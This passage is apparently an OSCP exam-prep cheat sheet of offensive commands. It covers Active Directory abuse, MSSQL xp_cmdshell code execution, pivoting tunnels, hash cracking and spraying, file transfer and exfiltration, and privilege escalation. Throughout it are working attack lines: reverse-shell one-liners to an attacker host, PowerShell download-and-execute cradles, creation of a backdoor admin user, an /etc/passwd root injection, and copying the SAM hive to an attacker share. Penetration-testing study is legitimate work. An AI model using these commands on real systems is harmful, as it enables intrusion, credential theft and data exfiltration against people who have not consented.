certipy account update -u 'stephanie@corp.local' -p 'Password123' \
-target 192.168.x.100 -user jdoe -shadow auto
# Use the resulting cert to request a TGT (PKINIT):
certipy auth -pfx jdoe.pfx -dc-ip 192.168.x.100 -domain corp.local
# → returns jdoe's NT hash directly, usable for pass-the-hash too
Result: Full takeover of the target account (TGT + NT hash) without ever touching their real password — quieter than a forced reset.
Recognize it: No fancy delegation or ACL edge — you dumped a local SAM/LSASS on one box and the local Administrator hash/password is identical on a second machine (extremely common when machines were cloned from the same base image).
Scenario: You root MS01 and dump its local SAM. The local Administrator hash on MS01 also works as local admin on MS02 — no domain privilege needed at all.
# Spray the looted local-admin hash across every AD-joined host you know about:
nxc smb 192.168.x.0/24 -u Administrator -H '<NTLM hash>' --local-auth
# Once confirmed on MS02:
psexec.py -hashes :<NTLM hash> Administrator@192.168.x.102 -local-auth
# or:
wmiexec.py -hashes :<NTLM hash> Administrator@192.168.x.102
Result: Admin on a second machine purely via password/hash reuse — always try this before reaching for anything more complex.
Recognize it: BloodHound shows GenericWrite/GenericAll on a GPO object that is linked to an OU containing computers or users you want. Edit the GPO and every linked machine will run whatever you push on its next policy refresh.
Scenario: stephanie has write access to a GPO linked to the "Workstations" OU, which includes MS02. She pushes an immediate scheduled task that adds her to the local Administrators group.
# Easiest with SharpGPOAbuse from a Windows foothold:
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount stephanie --GPOName "Workstation Policy"
# Then force a policy refresh on the target (or wait ~90 min):
gpupdate /force # run on target if you have any code exec there
# From Linux (pygpoabuse):
pygpoabuse.py corp.local/stephanie:Password123 -gpo-id <GPO-GUID> -dc-ip 192.168.x.100 \
-command 'net localgroup administrators stephanie /add'
Result: Local admin on every computer that GPO applies to, on next refresh — powerful but noisy; scope it to just the box you need.
MSSQL — RCE & Lateral Movement
MSSQL is Microsoft's database server (port 1433) — but it can run operating-system commands. If you get in as a privileged DB user (often sa), you can switch on a feature called xp_cmdshell that runs Windows commands as the database service account — instant code execution.
How you usually get in: default/blank sa password, creds found in a web app's web.config, or a SQL injection that reaches the DB. Once inside, the steps below are a recipe: connect → enumerate → enable xp_cmdshell → shell. Even if you're not sa, the impersonation trick (Step 4) can promote you.
Step 1: Connect
mssqlclient.py corp.local/sa@<TARGET_IP> -windows-auth
mssqlclient.py sa@<TARGET_IP>
mssqlclient.py corp.local/user:'pass'@<TARGET_IP> -windows-auth
Step 2: Enumerate
SELECT @@version;
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin'); -- 1 = sysadmin!
SELECT name FROM master.dbo.sysdatabases;
-- Check impersonation rights:
SELECT distinct b.name FROM sys.server_permissions a
INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';
-- Linked servers:
EXEC sp_linkedservers;
SELECT srvname, isremote FROM master..sysservers;
Step 3: Enable xp_cmdshell → RCE
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'powershell -nop -w hidden -enc <BASE64_PAYLOAD>';
EXEC xp_cmdshell 'net user hax P@ss123! /add && net localgroup administrators hax /add';
Step 4: Impersonation (non-sysadmin → sysadmin)
EXECUTE AS LOGIN = 'sa';
SELECT IS_SRVROLEMEMBER('sysadmin'); -- Should return 1
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
Step 5: Linked Server Lateral Movement
-- Single hop (MS01 → MS02):
SELECT * FROM OPENQUERY("MS02\SQLEXPRESS", 'SELECT @@version, SYSTEM_USER');
SELECT * FROM OPENQUERY("MS02\SQLEXPRESS", 'SELECT IS_SRVROLEMEMBER(''sysadmin'')');
-- Execute on linked server:
EXEC ('xp_cmdshell ''whoami''') AT [MS02\SQLEXPRESS];
-- Enable + RCE on linked server:
EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [MS02\SQLEXPRESS];
EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [MS02\SQLEXPRESS];
EXEC ('xp_cmdshell ''powershell -enc <BASE64>''') AT [MS02\SQLEXPRESS];
-- Double hop (MS01 → MS02 → MS03):
EXEC ('EXEC (''xp_cmdshell ''''whoami'''''') AT [MS03]') AT [MS02\SQLEXPRESS];
Step 6: UNC Path Injection → Hash Capture
# Setup Responder:
sudo responder -I tun0 -wv
# In MSSQL — trigger UNC auth:
EXEC xp_dirtree '\\<LHOST>\share';
EXEC xp_fileexist '\\<LHOST>\share\file';
# Crack captured NetNTLMv2:
hashcat -m 5600 netntlm.txt /usr/share/wordlists/rockyou.txt
MSSQL Attack Decision Tree
| Command | What it does | When & why |
|---|---|---|
| mssqlclient.py -windows-auth | Opens an interactive MSSQL client. | Port 1433 open. Try sa with blank/sa/password, or creds found in web.config. -windows-auth when using a domain account. |
| SELECT IS_SRVROLEMEMBER('sysadmin') | Tells you if you're a DB sysadmin. | Straight after connecting — it decides your whole next move. 1 = you can enable xp_cmdshell. |
| sp_configure 'xp_cmdshell' | Enables the feature that runs OS commands from SQL. | Only when you're sysadmin. Then EXEC xp_cmdshell 'whoami' → RCE as the DB service account. |
| EXECUTE AS LOGIN = 'sa' | Impersonates another login. | When the IMPERSONATE-rights query returns someone powerful (often sa) but you aren't sysadmin yourself. Instant privilege jump. |
| sp_linkedservers / OPENQUERY / EXEC AT | Runs queries (and commands) on a linked SQL server. | Lateral movement — MS01's SQL links to MS02/the DC. This is one of the cleanest AD-set pivots. |
| xp_dirtree / xp_fileexist '\\\\LHOST\\share' | Makes the DB service authenticate to your machine. | When you have SQL query execution but not xp_cmdshell, or you just want creds. Responder captures the NetNTLMv2 hash. |
| responder | Captures that authentication. | Crack the captured NetNTLMv2 (hashcat mode 5600) back to the password, then reuse it. |
Pivoting & Tunneling
Pivoting = using a machine you own as a stepping stone to reach machines you can't see. In the AD set, you can reach MS01 directly — but MS02 and the DC sit on an internal network your Kali box has no route to. MS01 can talk to them, so you turn MS01 into a tunnel and route your tools through it.
Simple analogy: you can't enter a locked office building, but you've befriended someone inside who passes your messages back and forth. That insider is your pivot.
For OSCP, learn one tool well — Ligolo-ng. It's the simplest: start the proxy on Kali, run the agent on MS01, and suddenly the internal subnet behaves like it's directly reachable. Don't drown in five different tools; master Ligolo and keep Chisel/SSH as backups.
Ligolo-ng (Recommended for OSCP)
# 1. Attacker: create tun interface + start proxy:
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert -laddr 0.0.0.0:11601
# 2. Transfer agent to MS01 → connect:
# Windows:
certutil -urlcache -split -f http://<LHOST>/agent.exe agent.exe
.\agent.exe -connect <LHOST>:11601 -ignore-cert
# 3. In ligolo proxy console:
session; ifconfig; start
# 4. Add route to internal network:
sudo ip route add 10.10.10.0/24 dev ligolo
# Now attack MS02 directly!
nmap -sV 10.10.10.50
evil-winrm -i 10.10.10.50 -u user -p pass
# Expose internal port via listener:
listener_add --addr 0.0.0.0:8080 --to 10.10.10.50:80 --tcp
Ligolo-ng Double Pivot (MS01 → MS02 → MS03)
# After shell on MS02, expose ligolo port via listener on MS01:
listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 --tcp
# On MS02:
.\agent.exe -connect <MS01_IP>:11601 -ignore-cert
# New session appears in proxy → start → add route:
sudo ip route add 172.16.0.0/24 dev ligolo
Plink (Windows — no SSH client)
certutil -urlcache -split -f http://<LHOST>/plink.exe plink.exe
cmd /c echo y | .\plink.exe -ssh -l root -pw <SSH_PASS> \
-R 127.0.0.1:4455:127.0.0.1:445 <LHOST>
# Attacker's 4455 → victim's 445
Chisel
# Attacker:
./chisel server -p 8888 --reverse
# Victim:
.\chisel.exe client <LHOST>:8888 R:socks
# /etc/proxychains4.conf: socks5 127.0.0.1 1080
proxychains nmap -sT -Pn 10.10.10.50
proxychains evil-winrm -i 10.10.10.50 -u user -p pass
SSH Tunneling
# Local port forward:
ssh -L 3389:10.10.10.50:3389 user@<MS01_IP>
xfreerdp /v:localhost:3389 /u:user /p:pass
# Dynamic SOCKS:
ssh -D 1080 -N user@<MS01_IP>
proxychains nmap -sT -Pn 10.10.10.0/24
| Command | What it does | When & why |
|---|---|---|
| ip tuntap add … ligolo / proxy -selfcert | Creates a virtual interface and starts the Ligolo server. | Once, on Kali, when you have your first foothold and suspect an internal network. -selfcert avoids needing a real TLS cert. |
| agent.exe -connect <LHOST>:11601 -ignore-cert | Runs the Ligolo agent on the compromised host. | On the pivot machine. -ignore-cert accepts the self-signed cert. This is the one line you actually need on the victim. |
| session → ifconfig → start | Selects the agent, shows its interfaces, starts the tunnel. | In the Ligolo console after the agent connects. ifconfig also reveals the internal network ranges you couldn't see before. |
| sudo ip route add 10.10.10.0/24 dev ligolo | Routes the internal subnet through the tunnel. | After start. Now internal IPs behave like local ones — you attack MS02/DC with normal tools, no proxychains needed. This is why Ligolo beats everything for OSCP. |
| listener_add --addr 0.0.0.0:PORT --to <target>:PORT | Exposes an internal port on your Kali box. | To catch reverse shells from internal hosts, or to chain a second agent through the first (double pivot). |
| chisel client … R:socks | Opens a SOCKS proxy through the victim. | Fallback to Ligolo. Good when you only need SOCKS and can't add routes; wrap tools in proxychains. |
| plink -R … | Reverse SSH tunnel from Windows. | When the pivot is Windows with no native SSH but you can upload plink — exposes the victim's ports back to you. |
| ssh -L / ssh -D | Local port-forward / dynamic SOCKS over SSH. | When the pivot is Linux and you have SSH. -L for one service (RDP/DB), -D for a full SOCKS proxy. |
Rule of thumb: learn Ligolo for the exam; keep chisel and SSH as backups. Never let pivoting eat an hour — if a tool fights you, switch tools.
Password Attacks
Systems never store your real password — they store a hash: a scrambled, one-way fingerprint of it. "Cracking" means guessing passwords, hashing each guess, and checking if it matches the stolen hash. You're not reversing the hash; you're racing through millions of guesses.
Two situations, two approaches: if you have a stolen hash → crack it offline with hashcat/john (fast, silent, no lockouts). If you have a login form / service and no hash → brute-force online with hydra (slower, noisy, can lock accounts — use sparingly).
The first step is always identifying the hash type so you pick the right hashcat mode. rockyou.txt is your go-to wordlist; for OSCP you rarely need anything fancier.
Hashcat Modes Reference
| Mode | Hash Type | Use Case |
|---|---|---|
| 1000 | NTLM | Windows local hashes |
| 5600 | NetNTLMv2 | Responder captures |
| 5500 | NetNTLMv1 | Older captures |
| 13100 | Kerberoast TGS-REP | SPN hash crack |
| 18200 | AS-REP Roast | AS-REP hash crack |
| 1800 | SHA512crypt $6$ | Linux /etc/shadow |
| 500 | MD5crypt $1$ | Linux shadow (older) |
| 3200 | bcrypt $2y$ | Modern Linux/web |
| 0 | MD5 | Web app hashes |
hashcat -m 1000 ntlm.txt rockyou.txt
hashcat -m 5600 netntlm.txt rockyou.txt
hashcat -m 13100 tgs.txt rockyou.txt -r rules/best64.rule
hashcat -m 18200 asrep.txt rockyou.txt
hashcat -m 1800 shadow.txt rockyou.txt
NTLM Capture & Cracking
# Capture (Responder):
sudo responder -I tun0 -wv
hashcat -m 5600 Responder/logs/HTTP-NTLMv2-*.txt rockyou.txt
# Trigger auth from the target (UNC path, shortcut, etc.) → capture NetNTLMv2 → crack it.
# Note: NetNTLMv2 cannot be used for Pass-the-Hash — crack it back to the plaintext first.
Online Brute Force
# SSH:
hydra -l root -P rockyou.txt ssh://<TARGET_IP> -t 4
# HTTP POST:
hydra -l admin -P rockyou.txt <TARGET_IP> http-post-form \
"/login.php:username=^USER^&password=^PASS^:Invalid"
# SMB spray (check lockout first!):
nxc smb <TARGET_IP> -u stephanie -p 'Password123' --pass-pol
nxc smb <TARGET_IP> -u domain_users.txt -p 'Password123' --continue-on-success
| Command | What it does | When & why |
|---|---|---|
| hashid / hash-identifier | Identifies a stolen hash's type. | First step, every time. The hashcat mode depends on the type; guessing wrong wastes hours. |
| hashcat -m <mode> | Offline hash cracking (see the mode table). | Whenever you hold a hash. It's silent, fast and can't lock accounts — unlike online guessing. |
| john + *2john | Cracks files (zip/office/ssh) and some hashes. | When the artefact is a file rather than a raw hash — zip2john, office2john, ssh2john first. |
| responder -I tun0 -wv | Poison LLMNR/NBT-NS/mDNS and capture NetNTLMv2. | When a host on the network mistypes a name and broadcasts. You don't need a foothold to run it — it's a passive net. |
| hydra ssh/http-post-form | Online brute-force against a live service. | Only when there's no hash to crack. It's slow and noisy, and CAN lock accounts — use small, targeted lists, not full rockyou. |
| nxc … --pass-pol | Reads the domain lockout policy. | Always before spraying. It tells you the threshold and reset window — spraying without this can lock the whole domain out. |
| Spraying vs brute force | One password across many users, vs many passwords for one user. | Spray when you have a plausible password (e.g. Company2024!). It stays under lockout, whereas brute-forcing one account triggers it almost immediately. |
File Transfer Cheatsheet
After getting a shell, you'll always need to move files — pushing your enumeration scripts (linpeas, winPEAS) to the target, and pulling loot (hashes, configs) back to Kali. The target rarely has internet, so you host the file on your own machine and have the target fetch it.
The standard pattern: on Kali, start a quick web server in the folder with your file — python3 -m http.server 80 — then on the target use whatever download tool exists (wget, curl, certutil, PowerShell). The commands below cover every OS combination. Pick the one that matches your shell.
Linux → Windows
# PowerShell:
IEX(New-Object Net.WebClient).DownloadString('http://<LHOST>/shell.ps1')
(New-Object Net.WebClient).DownloadFile('http://<LHOST>/file.exe','C:\Temp\file.exe')
Invoke-WebRequest -Uri http://<LHOST>/file.exe -OutFile C:\Temp\file.exe
# Certutil:
certutil -urlcache -split -f http://<LHOST>/file.exe C:\Temp\file.exe
# BITS:
bitsadmin /transfer job /download /priority normal http://<LHOST>/file.exe C:\Temp\file.exe
# SMB (setup on attacker):
impacket-smbserver share . -smb2support
copy \\<LHOST>\share\file.exe C:\Temp\
Windows → Linux (Exfil)
# Via SMB:
copy C:\Windows\System32\config\SAM \\<LHOST>\share\SAM
# Base64 encode → copy/paste:
[System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\file.txt"))
# Decode on attacker:
echo '<BASE64>' | base64 -d > file.txt
Linux → Linux
python3 -m http.server 80
wget http://<LHOST>/file; curl http://<LHOST>/file -o file
scp file.txt user@<TARGET_IP>:/tmp/
# Netcat:
nc -lvnp 4444 > file # receiver
nc <IP> 4444 < file # sender
# Base64:
base64 -w0 file.exe; echo '<B64>' | base64 -d > file.exe
| Command | What it does | When & why |
|---|---|---|
| python3 -m http.server 80 | Hosts the current folder over HTTP on Kali. | The default way to push files to a target. Targets can almost always reach you outbound on 80/443. |
| wget / curl | Downloads a file on Linux. | Whenever the target is Linux — whichever of the two exists. |
| IEX(New-Object Net.WebClient).DownloadString(...) | Downloads and runs a PowerShell script in memory. | Fileless payload delivery on Windows — nothing touches disk, which helps against AV. |
| Invoke-WebRequest -OutFile | Downloads a file to disk (PowerShell 3+). | When you need a binary (linpeas.exe, a tool) on Windows and PS ≥ 3 is present. |
| certutil -urlcache -split -f | Downloads via certutil (a signed Windows binary). | When PowerShell is restricted or absent. certutil is a classic "living-off-the-land" downloader. |
| bitsadmin /transfer | Downloads via the BITS service. | Alternate downloader when certutil/PowerShell are blocked by policy — good for LOLBAS variety. |
| impacket-smbserver share . -smb2support | Hosts a SMB share from Kali. | Lets Windows copy \\LHOST\share\file — and it doubles as a hash-capture point if a host authenticates to it. |
| Base64 encode/decode | Turns a file into text and back. | When there's no network path at all (RDP clipboard, a form field, a shell that only takes text). Slow but always works. |
| nc -lvnp > file / nc IP 4444 < file | Raw file transfer over netcat. | Last resort — when the target has nc and nothing else works. |
| scp file user@target:/tmp | Copies files over SSH. | When you have valid SSH creds — cleanest Linux→Linux transfer. |
Shells & Upgrades
A reverse shell makes the target connect back to you. You start a listener on Kali (nc -lvnp 4444), then trick the target into running a one-liner that dials home to your IP and port. This works even through firewalls, which is why it's the default — a bind shell (where you connect to the target) usually gets blocked by inbound filtering.
Always upgrade your shell. The first shell you get is "dumb" — no arrow keys, no tab-complete, and Ctrl-C kills it. Upgrading to a full TTY (the python3 pty trick below) makes it behave like a real terminal so you can use sudo, text editors, and SSH. Do this immediately every time.
Reverse Shell One-Liners
# Bash:
bash -i >& /dev/tcp/<LHOST>/4444 0>&1
# Python3:
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<LHOST>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# PHP webshell:
<?php system($_GET["cmd"]); ?>
# Netcat (mkfifo):
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> 4444 >/tmp/f
# msfvenom payloads:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=4444 -f exe -o shell.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=4444 -f aspx -o shell.aspx
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST> LPORT=4444 -f war -o shell.war
Shell Upgrade — Linux TTY
# Method 1: Python PTY (most reliable)
python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+Z
stty raw -echo; fg
export TERM=xterm; stty rows 48 columns 190
# Method 2: Script
script /dev/null -c bash
# Then: Ctrl+Z → stty raw -echo; fg → export TERM=xterm
# Method 3: Socat (best quality)
# Attacker: socat file:`tty`,raw,echo=0 tcp-listen:4444
# Victim: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<LHOST>:4444
| Command | What it does | When & why |
|---|---|---|
| nc -lvnp <PORT> / rlwrap nc | Starts a listener that catches a reverse shell. | Before you trigger any payload. rlwrap adds arrow keys + history so the shell is usable immediately. |
| bash -i >& /dev/tcp/… | Bash reverse shell using the built-in TCP device. | When the target has bash and no nc/python. The most-portable one-liner. |
| python3 -c '…socket…' | Python reverse shell. | When Python is installed — reliable and easy to wrap in a pty. |
| php / mkfifo nc | PHP and netcat reverse shells. | Pick based on what's on the box: PHP on web servers, mkfifo-nc when only netcat exists and -e is missing. |
| msfvenom -f exe/aspx/war | Generates a payload in a chosen format. | When the entry point needs a binary or webshell (Tomcat WAR, ASPX upload, Windows EXE). Allowed on every machine — only the Metasploit modules are capped at one. |
| -p windows/x64/shell_reverse_tcp vs meterpreter | Plain shell vs Meterpreter payload. | Prefer the plain shell payload — Meterpreter counts as "using Metasploit" and locks your one machine. Save Meterpreter for the single box you choose. |
| python3 -c 'import pty; pty.spawn(...)' + stty raw -echo | Upgrades a dumb shell to a full TTY. | Do this immediately on every Linux shell. Without it you can't run sudo, open editors, or use SSH — and Ctrl-C kills your shell. |
| socat file:`tty`,raw,echo=0 … | Best-quality interactive shell. | When socat is on both ends. Gives full job control and clean colours with no manual stty dance. |
Common CVEs & Exploits
A CVE is a known, catalogued vulnerability. Once you've identified the exact software and version on a target, search for a matching exploit: searchsploit <software> locally, or Exploit-DB / GitHub online. The table below is a shortlist of CVEs that show up most often in OSCP-style boxes.
⚠ Never run a downloaded exploit blindly. Read the code first — confirm it targets your exact version, edit the IP/port variables, and understand what it does. Random "auto-pwn" scripts can crash the box or do nothing. Verify the version matches; a Windows 7 exploit won't work on Server 2019.
| CVE / Exploit | Target | Impact |
|---|---|---|
| MS17-010 EternalBlue | Win7/2008 R2 (SMB v1) | → SYSTEM |
| CVE-2019-0708 BlueKeep | Win7/2008 RDP | → RCE/SYSTEM |
| CVE-2021-41773 | Apache 2.4.49 PATH traversal | → RCE |
| CVE-2021-3156 Baron Samedit | sudo < 1.9.5p2 | → local root |
| CVE-2021-4034 PwnKit | pkexec all distros | → local root |
| CVE-2022-0847 DirtyPipe | kernel 5.8–5.16.11 | → local root |
| CVE-2016-5195 DirtyCow | kernel < 4.8.3 | → local root |
| CVE-2021-44228 Log4Shell | Log4j 2.x Java | → RCE |
| CVE-2021-1675 PrintNightmare | Win2019/10 | → SYSTEM/RCE |
| CVE-2022-26134 Confluence | OGNL injection 7.4.17 | → RCE |
| CVE-2020-1472 ZeroLogon | Netlogon (unpatched DC) | → Domain Admin (no creds) |
| CVE-2021-42278 + 42287 noPac | sAMAccountName spoofing (AD) | → Domain Admin (low-priv user) |
| CVE-2023-4911 Looney Tunables | glibc ld.so (Ubuntu/Fedora/Debian) | → local root |
| CVE-2023-38408 ssh-agent | OpenSSH < 9.3p2 fwd agent | → RCE |
| CVE-2021-34473/34523/31207 ProxyShell | Exchange Server | → RCE/SYSTEM |
| CVE-2021-26855 ProxyLogon | Exchange Server | → RCE (pre-auth) |
| CVE-2021-22205 GitLab ExifTool | GitLab CE/EE avatar upload | → RCE |
| CVE-2023-22515 / 22518 Confluence | Broken access control | → Admin account creation → RCE |
| CVE-2020-0796 SMBGhost | SMBv3 compression (Win10/Server19) | → RCE/SYSTEM |
| CVE-2018-1000861 | Jenkins Stapler/Pipeline (<2.138, LTS <2.150.1) | → RCE (pre-auth) |
| CVE-2019-1003000/1/2 | Jenkins Script Security sandbox bypass | → RCE |
| CVE-2024-23897 | Jenkins CLI arbitrary file read (≤2.441) | → read secrets → admin → RCE |
| CVE-2018-7600 Drupalgeddon2 | Drupal 7.x / 8.x unpatched | → RCE (pre-auth) |
| CVE-2014-3704 Drupalgeddon1 | Drupal 7.x — SQLi | → SQLi → admin → RCE |
| CVE-2017-8917 | Joomla 3.7.0 com_fields SQLi | → unauth SQLi |
| CVE-2015-8562 | Joomla 1.5–3.4.5 User-Agent RCE | → RCE |
| CVE-2019-9193 | PostgreSQL COPY … PROGRAM (superuser) | → RCE |
| CVE-2022-24086 | Magento < 2.4.4 | → RCE (pre-auth) |
| CVE-2020-15906 / 2021-26119 | Tiki Wiki auth-bypass / Smarty SSTI | → RCE |
| CVE-2019-11447 | CuteNews avatar upload | → RCE |
| RiteCMS (auth file upload) | RiteCMS small PHP CMS | → RCE (default admin:admin) |
| BarracudaDrive / Barracuda Server RCE | Real Time Logic embedded web server | → RCE (often as SYSTEM) |
| FMS (FileMaker Server / Flash Media Server) | version-dependent | → RCE / info |
ZeroLogon and noPac are the two most common "unauthenticated → Domain Admin" AD chains in current OSCP-style labs — always check these first if a DC looks unpatched (Netlogon secure channel reset for ZeroLogon; check anonymous SMB access as a first signal, then confirm with nxc smb <DC-IP> -M zerologon). Looney Tunables has replaced some older kernel-exploit boxes as the go-to Linux local-root on newer Ubuntu/Debian targets — check /etc/os-release + glibc version early in enumeration, not just as a last resort.
SearchSploit Workflow
searchsploit apache 2.4
searchsploit "windows smb" remote
searchsploit -w openssh 7.2 # Show Exploit-DB URL
searchsploit -m 47837 # Copy exploit to CWD
searchsploit -x 47837 # Examine without copying
searchsploit -u # Update DB
| Command | What it does | When & why |
|---|---|---|
| searchsploit <service> <version> | Searches your local Exploit-DB copy. | The moment you have an exact service + version. Always search that version, not just the product. |
| searchsploit -w | Prints the Exploit-DB URL. | When you want to read the full write-up or grab a patched version online. |
| searchsploit -x <id> | Reads an exploit without copying it. | First look. Read the code, check the target version/architecture and the variables you must edit — before running anything. |
| searchsploit -m <id> | Copies the exploit into your working folder. | Once you've confirmed it fits. Then edit IP/port/paths and run it. |
| Reading the PoC first | — | Non-negotiable. A mismatched or blind exploit can crash the box (and revert costs time). Verify version, arch, and whether it needs a compiled payload. |
Remember: a CVE being "in the table" doesn't mean it's on your box. Confirm the exact version banner (nmap -sV) before firing.
Exam Day Tips
Before Starting (15 min prep)
- VPN connected — verify routing: ping <DC_IP>
- Note all IPs: DC, MS01, MS02, Box1, Box2, Box3
- Update /etc/hosts with all IPs
- Create loot structure:
mkdir -p ~/exam/{ad/{ms01,ms02,dc},box{1,2,3}}/{scans,loot,exploits,screenshots} - Start nmap scans on ALL targets immediately
- Open notes per machine (CherryTree / Obsidian)
- Screenshot tool ready (Flameshot:
flameshot gui) - Start tmux: 1 window per machine
- Write provided AD credentials FIRST in notes
Critical Exam Rules
# Every flag screenshot MUST show:
# Linux:
cat /root/proof.txt && whoami && hostname && ip addr show
# Windows:
type C:\Users\Administrator\Desktop\proof.txt & whoami & hostname & ipconfig /all
Stuck? 15-Point Reset Checklist
- Did full port scan finish? (
-p-not just top 1000) - Did UDP scan run? (SNMP=161 especially)
- Read ALL web page source code? (Ctrl+U in browser)
- Checked robots.txt, /.git, /.env, /backup?
- Tried ALL found credentials on ALL services?
- Default credentials tried? (admin:admin, admin:password)
- Exact version numbers googled for CVEs?
- searchsploit run on every service+version?
- All SMB shares checked and files downloaded?
- SQL injection tested on every input field?
- LFI tested on every file/page parameter?
- linpeas/winpeas output fully read? (especially yellow/red)
- sudo -l, SUID, capabilities, cron all checked?
- Interesting file search done? (.conf, .bak, history files)
- Is there a simpler path I'm overthinking?
AD-Specific Tips
- Start with provided creds → BloodHound FIRST
- Check ALL user descriptions for passwords (very common in OSCP)
- Check SYSVOL/GPP within first 10 minutes
- Kerberoast + AS-REP roast immediately
- Password reuse is extremely common — spray everywhere
- BloodHound "Shortest Path to DA" → follow it literally
- Any GenericAll/WriteDACL/GenericWrite ACE → exploit immediately
- Check MSSQL linked servers — common lateral movement path
- After owning MS01 → re-run SharpHound from inside
Common Rabbit Holes (Avoid)
Proof Collection Checklist
Hacking the box is only half the job — you must prove it, or you score zero for that machine. Students genuinely fail the exam for sloppy proof: a flag screenshot that doesn't also show whoami and ip addr may not be accepted, because it doesn't prove which machine you were on or what privilege you had.
Build the habit: the moment you read a flag, take the full screenshot (flag + whoami/id + hostname + IP) immediately, before doing anything else. Shells die. Take the proof while you have it. The exact commands are below — paste them as one line.
Required Screenshot Commands
# Linux local.txt (unprivileged):
cat /home/<USERNAME>/local.txt && whoami && id && hostname && ip addr show
# Linux proof.txt (root):
cat /root/proof.txt && whoami && id && hostname && ip addr show
# Windows local.txt:
type C:\Users\<USERNAME>\Desktop\local.txt & whoami & hostname & ipconfig
# Windows proof.txt (SYSTEM / Administrator):
type C:\Users\Administrator\Desktop\proof.txt & whoami /all & hostname & ipconfig /all
# If not found:
find / -name "*.txt" 2>/dev/null | xargs grep -l "OS{" 2>/dev/null
dir /s /b C:\*.txt 2>nul | findstr "local\|proof"
Points Tracker
| Machine | Flag | Points | Flag Value | Screenshot |
|---|---|---|---|---|
| AD MS01 | local.txt | 10 pts | ____________ | ☐ |
| AD MS02 | local.txt | 10 pts | ____________ | ☐ |
| AD DC01 | proof.txt | 20 pts | ____________ | ☐ |
| Box 1 | local.txt | 10 pts | ____________ | ☐ |
| Box 1 | proof.txt | 10 pts | ____________ | ☐ |
| Box 2 | local.txt | 10 pts | ____________ | ☐ |
| Box 2 | proof.txt | 10 pts | ____________ | ☐ |
| Box 3 | local.txt | 10 pts | ____________ | ☐ |
| Box 3 | proof.txt | 10 pts | ____________ | ☐ |
Pre-Report Checks
- All screenshots show: flag + whoami + hostname + IP
- Notes detailed enough to recreate each attack step
- All commands documented for 24hr report
- Metasploit NOT used on more than 1 machine
- Report template ready
Quick Reference Card
Listeners
nc -lvnp 4444
rlwrap nc -lvnp 4444 # With readline
Impacket Cheatsheet
psexec.py dom/user:pass@<IP> # SYSTEM via SMB
wmiexec.py dom/user:pass@<IP> # semi-interactive WMI
smbexec.py dom/user:pass@<IP> # no binary on disk
# Hash (PTH):
psexec.py dom/user@<IP> -hashes :<NTLM_HASH>
wmiexec.py dom/user@<IP> -hashes :<NTLM_HASH>
# AD attacks:
GetUserSPNs.py dom/user:pass -dc-ip <DC_IP> -request # Kerberoast
GetNPUsers.py dom/user:pass -dc-ip <DC_IP> -request # AS-REP
secretsdump.py dom/user:pass@<DC_IP> # dump SAM/LSA (DC: NTDS)
getST.py -spn cifs/<FQDN> -impersonate Admin dom/user:pass -dc-ip <DC_IP> # S4U (delegation)
nxc (NetExec) Cheatsheet
nxc smb <IP> -u user -p pass # Test creds
nxc smb <IP> -u user -H <NTLM_HASH> # PTH
nxc smb <SUBNET>/24 -u user -p pass --continue-on-success
nxc smb <IP> -u user -p pass --shares --users --pass-pol
nxc smb <IP> -u user -p pass --sam --lsa
nxc smb <IP> -u user -p pass -M lsassy
nxc smb <IP> -u user -p pass -M gpp_password
nxc smb <IP> -u user -p pass -x "whoami"
nxc winrm <IP> -u user -p pass
nxc mssql <IP> -u sa -p pass --local-auth
nxc mssql <IP> -u sa -p pass -q "SELECT @@version"
GTFObins Quick Reference
sudo find . -exec /bin/bash \; -p
python3 -c 'import os; os.execl("/bin/bash","bash","-p")'
perl -e 'exec "/bin/bash"'
awk 'BEGIN {system("/bin/bash")}'
sudo vim -c ':!/bin/bash'
sudo less /etc/hosts → !/bin/bash
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
echo 'root2::0:0::/root:/bin/bash' | sudo tee -a /etc/passwd
Key File Locations
| OS | Path | Why |
|---|---|---|
| Linux | /etc/shadow | Hashes |
| Linux | /home/*/.bash_history | Command history (GOLD) |
| Linux | /home/*/.ssh/id_rsa | Private keys |
| Linux | /var/www/html/ | Web configs / DB creds |
| Windows | C:\Windows\System32\config\SAM | Local hashes |
| Windows | C:\Windows\NTDS\ntds.dit | AD hashes (DC) |
| Windows | C:\inetpub\wwwroot\web.config | DB/app creds |
| Windows | PSReadLine\ConsoleHost_history.txt | PS history (GOLD) |
| Windows | C:\Windows\Panther\unattend.xml | Autologon creds |
| Command | What it does | When & why |
|---|---|---|
| psexec.py | Spawns a shell as SYSTEM by dropping a service. | When you need guaranteed SYSTEM and can be a bit noisy. Shows up as a service — avoid on hosts you must keep quiet. |
| wmiexec.py | Semi-interactive shell via WMI. | The default choice for lateral movement — quieter than psexec, no service drop, works with password or hash. |
| smbexec.py | Shell via SMB without writing a binary to disk. | When disk-write or AV is a concern but you still have admin. |
| -hashes :<NTLM> | Pass-the-Hash syntax (blank LM half). | Whenever you have a hash instead of a password. Forget the leading colon and it silently fails. |
